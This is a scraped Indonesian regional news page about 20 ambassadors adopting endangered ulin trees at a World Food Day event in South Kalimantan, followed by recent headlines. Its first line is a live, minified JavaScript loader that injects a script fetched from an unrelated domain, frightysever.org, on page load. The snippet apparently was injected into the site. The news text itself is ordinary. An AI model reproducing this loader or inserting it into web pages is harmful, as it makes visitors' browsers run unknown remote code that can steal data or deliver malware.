(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

20 Duta Besar Akan Jadi “Bapak Adopsi” Pohon Ulin di Acara HPS


BANJARBARU, Sebanyak 20 duta besar dari berbagai negara yang hadir pada peringatan Hari Pangan Sedunia (HPS) di Desa Jejangkit, Batola, bakal menjadi bapak adopsi pohon ulin. Kepala Dinas Kehutanan Kalsel DR Hanif Faisol Nurrofiq mengatakan, pihaknya telah menyiapkan lahan untuk kegiatan adopsi pohon yang dilaksanakan pada hari menanam pohon Indonesia di sekitar perkantoran Pemprov Kalsel Banjarbaru.

Selain 20 duta besar, penanaman adopsi pohon tersebut juga akan diikuti oleh enam orang konselor dan diplomat, perwakilan organisasi internasional dan 40 orang perwakilan organisasi pendamping sekala internasional dari berbaga negara.

“Kami juga menyiapkan lahan penanaman pohon adopsi bagi seluruh gubernur dan bupati se Indonesia yang akan menghadiri puncak HPS yang dipusatkan di Kabupaten Barito Kuala dan perkantoran Pemprov Kalsel di Banjarbaru,” katanya.

Pohon yang akan ditanam adalah pohon Ulin setinggi dua meter. Ulin merupakan pohon khas Kalsel yang saat ini sudah terancam punah.

Hanif mengatakan, merupakan sistem yang sangat menarik. Karena setiap orang atau organisasi yang telah bersedia menjadi orang tua adopsi, wajib memberikan nafkah, hingga pohon tumbuh dengan sehat dan subur. “Jadi kalau pohon sakit atau perlu perawatan, orang tua adopsinya wajib mengeluarkan biaya,” katanya.

Sebelumnya, sebanyak 842 pohon juga telah diadopsi oleh seluruh pejabat yang ada di lingkungan Pemprov Kalsel. Sistem pembayaran bagi seluruh orang tua adopsi, tambah dia, bisa dilakukan melalui koperasi.

“Jadi bila ada pohon yang perlu biaya perawatan, kami akan menagih ke koperasi, dan koperasi menagih nafkah pohon tersebut ke orang tua adospi,” katanya.

Setiap orang tua adopsi, boleh memberikan nama pohon sesuai dengan namanya. Sehingga, selama mereka membayar iuran, sampai kapanpun pohon tersebut akan dikenang dengan namanya, kecuali sudah tidak bayar, maka pohon akan dialihkan ke nama orang tua adopsi baru. “Jadi saat para pejabat sudah pensiun, nama mereka masih dikenang oleh anak cucunya melalui pohon tersebut,” katanya.

Menurut Hanif, pada peringatan hari menanam pohon Indonesia tersebut, juga bakal melibatkan ribuan orang pelajar dan mahasiswa. Beberapa jenis pohon yang akan ditanam oleh para peserta, antara lain, pohon dadap, mauni dan beberapa jenis lainnya, kecuali pohon trembesi. “Kalau trembesi tidak cocok ditanam di daerah kita, sehingga dicarikan beberapa jenis yang sesuai,” katanya.(mario/ant)

Reporter : Mario/ant
Editor : Chell

Desy Arfianty

Recent Posts

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

43 menit ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

2 jam ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

4 jam ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

8 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

8 jam ago

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

10 jam ago

This website uses cookies.